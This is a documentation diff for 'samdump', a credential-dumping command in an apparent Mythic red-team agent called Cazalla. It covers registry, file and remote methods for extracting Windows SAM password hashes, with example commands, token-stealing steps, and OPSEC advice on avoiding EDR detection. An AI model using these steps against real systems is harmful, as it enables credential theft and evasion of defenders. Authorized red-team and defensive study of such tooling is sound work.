+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6537b4eefd8b2aad3b435b51404eeaad3:::
+user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bd830b7586c5:::
+```
+
+### Output Format
+
+- **username**: Local account name
+- **RID**: Relative Identifier (500 = Administrator, 501 = Guest, etc.)
+- **LM Hash**: LAN Manager hash (often empty or weak)
+- **NTLM Hash**: NT LAN Manager hash (used for authentication)
+
+## Credential Reporting
+
+**All extracted hashes are automatically reported to Mythic:**
+
+- **Hashes**: Reported as `hash` credential type
+- **Format**: `username:RID:LM:NTLM`
+- **Realm**: Empty (local accounts, no domain)
+- **Metadata**: Includes RID and LM hash information
+
+Credentials appear in Mythic's Credentials page (click the key icon in the UI).
+
+## Technical Details
+
+### Registry Method
+
+1. **Registry Access**: Reads `HKEY_LOCAL_MACHINE\SAM` and `HKEY_LOCAL_MACHINE\SYSTEM`
+2. **Boot Key Extraction**: Extracts the boot key from SYSTEM hive
+3. **Hash Decryption**: Decrypts password hashes using the boot key
+4. **Account Enumeration**: Iterates through all local user accounts
+
+### Files Method
+
+1. **File Loading**: Uses `RegLoadKey` to load SAM and SYSTEM hives from disk
+2. **Temporary Registry Keys**: Creates temporary keys under `HKEY_LOCAL_MACHINE`
+3. **Boot Key Extraction**: Extracts boot key from loaded SYSTEM hive
+4. **Hash Extraction**: Extracts hashes from loaded SAM hive
+5. **Cleanup**: Unloads hives after extraction
+
+### Remote Method
+
+1. **Service Management**: Starts Remote Registry service if needed
+2. **Network Connection**: Connects to remote registry via `RegConnectRegistry`
+3. **Remote Access**: Accesses remote SAM/SYSTEM hives over network
+4. **Hash Extraction**: Extracts hashes using same logic as local methods
+5. **Authentication**: Supports user impersonation for authenticated access
+
+### Privilege Requirements
+
+#### Registry Method
+- **SYSTEM privileges required**: The SAM database is protected and only accessible to SYSTEM
+- **Use `steal_token`**: Steal token from a SYSTEM process (e.g., `steal_token 4` for System process)
+- **Alternative**: Use `SeBackupPrivilege` with `NtOpenKeyEx` (Windows 7+)
+
+#### Files Method
+- **SYSTEM privileges** OR
+- **`SeBackupPrivilege` and `SeRestorePrivilege`**: Required for `RegLoadKey` operations
+
+#### Remote Method
+- **Network access** to remote system
+- **Service management rights**: Ability to start Remote Registry service
+- **Valid credentials**: If impersonating (optional but recommended)
+
+## OPSEC Considerations
+
+### Method Comparison
+
+| Method | OPSEC Risk | Detection Likelihood | Key Indicators |
+|--------|------------|---------------------|----------------|
+| **Registry** | **CRITICAL** | Very High (minutes) | Direct registry access, SAM/SYSTEM hive access |
+| **Files** | **MEDIUM-HIGH** | Medium-High | File read operations, RegLoadKey calls |
+| **Remote** | **HIGH** | High | Network traffic, RPC calls, service manipulation |
+
+### Registry Method OPSEC
+
+**Risk Level: CRITICAL**
+
+- **HIGH DETECTION RISK**: SAM database access is heavily monitored
+- **EDR/XDR Detection**: Most security tools have specific rules for this activity
+- **Registry Access Monitoring**: Access to SAM/SYSTEM hives triggers alerts
+- **Credential Theft Indicators**: This is a primary indicator of attack (MITRE T1003.002)
+- **Detection Timeframe**: Detection is likely within minutes
+- **Behavioral Analysis**: Pattern matching for credential extraction
+
+**Detection Mechanisms:**
+- Registry access to `HKEY_LOCAL_MACHINE\SAM`
+- Registry access to `HKEY_LOCAL_MACHINE\SYSTEM` (boot key extraction)
+- Behavioral analysis (credential extraction patterns)
+- Credential theft detection rules
+- Security event logging (if enabled)
+
+**Best Practices:**
+- Always use `steal_token` on SYSTEM process first
+- Consider off-hours to reduce detection
+- Always requires approval from another operator
+- Consider alternative methods for different detection signatures
+- Use sparingly and only when necessary
+
+### Files Method OPSEC
+
+**Risk Level: MEDIUM-HIGH**
+
+- **Lower Detection Profile**: File access is less monitored than direct registry access
+- **File Access Logging**: File read operations may be logged but less aggressively
+- **Privilege Requirements**: Still requires SYSTEM or backup/restore privileges
+- **RegLoadKey Monitoring**: Loading registry hives may be logged
+- **Useful for Offline Analysis**: Can work with backup files or offline systems
+
+**Detection Mechanisms:**
+- File access to SAM/SYSTEM files
+- `RegLoadKey` API calls
+- Privilege usage (SeBackupPrivilege/SeRestorePrivilege)
+- File system monitoring (if enabled)
+
+**Best Practices:**
+- Use when you have access to SAM/SYSTEM files from backups
+- Lower detection profile than registry method
+- Still requires privileged access
+- Useful for offline analysis of captured files
+- File access logs may be monitored but less aggressively
+
+### Remote Method OPSEC
+
+**Risk Level: HIGH**
+
+- **Network Traffic**: RPC calls to Remote Registry service are detectable
+- **Service Manipulation**: Starting Remote Registry service is logged
+- **Network Monitoring**: Network-based detection is possible
+- **Authentication Logging**: Authentication attempts are logged
+- **Registry Access Over Network**: Remote registry access is monitored
+- **Higher Visibility**: Network activity increases detection surface
+
+**Detection Mechanisms:**
+- Network traffic (RPC calls)
+- Remote Registry service start/stop events
+- Authentication attempts (if impersonating)
+- Network-based behavioral analysis
+- Registry access over network
+
+**Best Practices:**
+- Use only when local access is not possible
+- Network traffic is detectable by network monitoring tools
+- Authentication attempts are logged
+- Consider using existing authenticated sessions
+- Higher detection risk due to network activity
+- Ensure proper network segmentation considerations
+
+### General OPSEC Best Practices
+
+- **Requires SYSTEM privileges** (for registry and files methods): Use `steal_token` on SYSTEM process first
+- **Timing**: Consider off-hours to reduce detection
+- **Authorization**: Ensure proper authorization before use
+- **Always requires approval**: Another operator must approve execution
+- **Alternative methods**: Consider using Mimikatz via `inline_execute_assembly` for different detection signatures
+- **Method Selection**: Choose the method with lowest OPSEC risk for your situation
+  - Prefer files method when you have offline files
+  - Avoid remote method unless necessary
+  - Registry method has highest detection risk
+
+## Artifacts
+
+The command automatically reports the following artifacts based on the method used:
+
+### Registry Method
+- **Registry Read**: `HKEY_LOCAL_MACHINE\SAM` access
+- **Registry Read**: `HKEY_LOCAL_MACHINE\SYSTEM` access (boot key extraction)
+- **Credential Access**: SAM database enumeration and hash extraction
+
+### Files Method
+- **File Read**: SAM file access
+- **File Read**: SYSTEM file access (boot key)
+- **Credential Access**: SAM database enumeration and hash extraction from files
+
+### Remote Method
+- **Network Connection**: Remote registry connection to target
+- **Registry Read**: Remote SAM database access
+- **Registry Read**: Remote SYSTEM database access (boot key)
+- **Credential Access**: Remote SAM database enumeration and hash extraction
+
+## Related
+
+[Token Operations](../commands.md#token-operations) - Steal SYSTEM token  
+[Credentials Support](../../../features.md#credentials-support)  
+[OPSEC Guide](../../../opsec.md)
+
+---
+
+**Command Category:** Credential Access  
+**Requires Admin:** Yes (SYSTEM privileges required for registry/files methods)  
+**MITRE ATT&CK:** [T1003.002 - OS Credential Dumping: Security Account Manager](https://attack.mitre.org/techniques/T1003/002/), [T1003.001 - OS Credential Dumping: LSASS Memory](https://attack.mitre.org/techniques/T1003/001/)

documentation-payload/Cazalla/features.md

@@ -155,6 +155,9 @@ Cazalla automatically reports artifacts created during command execution, allowi
 | **Process Create** | `shell` | Command execution via cmd.exe |
 | **Process Create** | `inline_execute` | BOF execution in current process |
 | **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
+| **Registry Read** | `samdump` | SAM database access (HKEY_LOCAL_MACHINE\SAM) |
+| **Registry Read** | `samdump` | SYSTEM hive access for boot key (HKEY_LOCAL_MACHINE\SYSTEM) |
+| **Credential Access** | `samdump` | SAM database enumeration and hash extraction |
 | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
 | **File Delete** | `rm` | File or directory deletion |
 | **File Read** | `download` | File download operations |
@@ -503,6 +506,49 @@ browser_dump chrome
 
 For detailed information, see [browser_dump command documentation](commands/browser_dump.md).
 
+#### `samdump`
+
+Extracts NTLM password hashes from the Security Account Manager (SAM) database using multiple methods.
+
+**Extracted Data:**
+- NTLM hashes for all local user accounts
+- LM hashes (when available)
+- Relative Identifiers (RID) for each account
+
+**Methods:**
+1. **Registry** (default) - Direct registry access
+2. **Files** - From SAM/SYSTEM files on disk
+3. **Remote** - Remote registry access over network
+
+**Credential Reporting:**
+- **Hashes**: Automatically saved to Mythic's credential store as `hash` credential type
+- **Format**: `username:RID:LM:NTLM`
+- **Realm**: Empty (local accounts, no domain)
+- **Metadata**: Includes RID and LM hash information
+
+**OPSEC Considerations by Method:**
+
+- **Registry Method (CRITICAL)**: Direct SAM/SYSTEM registry access is heavily monitored, detection likely within minutes, requires SYSTEM privileges
+- **Files Method (MEDIUM-HIGH)**: Lower detection profile than registry, file access less aggressively monitored, useful for offline analysis
+- **Remote Method (HIGH)**: Network traffic detectable, service manipulation logged, authentication attempts logged, higher visibility
+
+**Examples:**
+```
+samdump                    # Registry method (default)
+samdump registry           # Registry method (explicit)
+samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM
+samdump remote \\TARGET-PC
+```
+
+**Best Practices:**
+- Always use `steal_token` on SYSTEM process first (for registry/files methods)
+- Choose method with lowest OPSEC risk for your situation
+- Files method preferred when you have offline files
+- Remote method only when local access not possible
+- Always requires approval from another operator
+
+For detailed information, see [samdump command documentation](commands/samdump.md).
+
 ---
 
 ## OPSEC Checking

documentation-payload/Cazalla/opsec.md

@@ -81,6 +81,10 @@ These commands are **highly detectable** and require careful consideration:
 | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
 | `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
 | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
+| `samdump` (registry) | CRITICAL | Very High (direct SAM access) | Requires SYSTEM privileges, heavily monitored, detection within minutes |
+| `samdump` (files) | MEDIUM-HIGH | Medium-High (file access) | Lower detection profile, useful for offline analysis |
+| `samdump` (remote) | HIGH | High (network traffic + registry) | Network traffic detectable, service manipulation logged |
+| `browser_dump` | HIGH | High (browser credential access) | Browser credential access is heavily monitored |
 
 ### 🟡 MEDIUM OPSEC RISK
 
@@ -373,6 +377,31 @@ Built-in Cazalla commands:
 - **Detection**: Browser credential access is heavily monitored by EDR/XDR
 - **Best Practice**: Use only when necessary, always requires approval, consider timing
 
+#### `samdump`
+
+The `samdump` command supports three methods with different OPSEC profiles:
+
+**Registry Method (Default):**
+- **Risk**: CRITICAL
+- **Detection**: Direct SAM/SYSTEM registry access is heavily monitored by EDR/XDR solutions
+- **Detection Timeframe**: Likely within minutes
+- **Best Practice**: Requires SYSTEM privileges (use `steal_token` on SYSTEM process first), always requires approval, consider timing, highest detection risk
+- **Alternatives**: Use files method for lower detection profile, or Mimikatz via `inline_execute_assembly` for different detection signatures
+
+**Files Method:**
+- **Risk**: MEDIUM-HIGH
+- **Detection**: File access and RegLoadKey operations are monitored but less aggressively than direct registry access
+- **Detection Timeframe**: Medium-High (hours to days)
+- **Best Practice**: Lower detection profile than registry method, still requires SYSTEM or backup/restore privileges, useful for offline analysis of backup files
+- **Use Case**: When you have access to SAM/SYSTEM files from backups or offline systems
+
+**Remote Method:**
+- **Risk**: HIGH
+- **Detection**: Network traffic (RPC calls), service manipulation (Remote Registry), and remote registry access are monitored
+- **Detection Timeframe**: High (minutes to hours)
+- **Best Practice**: Network traffic is detectable, authentication attempts are logged, use only when local access is not possible, higher visibility due to network activity
+- **Use Case**: When you need to dump SAM from a remote system over the network
+
 #### `screenshot`
 - **Risk**: HIGH
 - **Detection**: Screen capture detection, behavioral analysis